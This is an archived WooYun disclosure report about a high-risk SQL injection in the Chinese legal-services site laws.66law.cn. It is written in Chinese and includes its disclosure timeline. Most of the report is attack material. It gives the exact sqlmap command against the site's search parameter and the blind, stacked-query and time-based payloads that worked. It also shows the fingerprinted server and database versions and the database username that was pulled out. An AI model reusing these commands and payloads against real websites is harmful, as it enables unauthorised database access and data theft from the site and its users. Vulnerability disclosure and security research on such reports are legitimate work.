乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-12-31: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-02-14: 厂商已经主动忽略漏洞,细节向公众公开
华律网存在高危SQL注入漏洞
百度权重:8
Sqlmap下:
sqlmap -u "http://laws.66law.cn/list.aspx?keys=*" --dbms="Microsoft SQL Server" --current-user
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://laws.66law.cn:80/list.aspx?keys=%' AND 4957=4957 AND '%'=' Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: http://laws.66law.cn:80/list.aspx?keys=%'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: http://laws.66law.cn:80/list.aspx?keys=%' WAITFOR DELAY '0:0:5'-----[12:13:41] [INFO] testing Microsoft SQL Server[12:13:41] [INFO] confirming Microsoft SQL Server[12:13:41] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2008[12:13:41] [INFO] fetching current user[12:13:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[12:13:41] [INFO] retrieved:[12:13:41] [WARNING] reflective value(s) found and filtering out66lawappcurrent user: '66lawapp'
未能联系到厂商或者厂商积极拒绝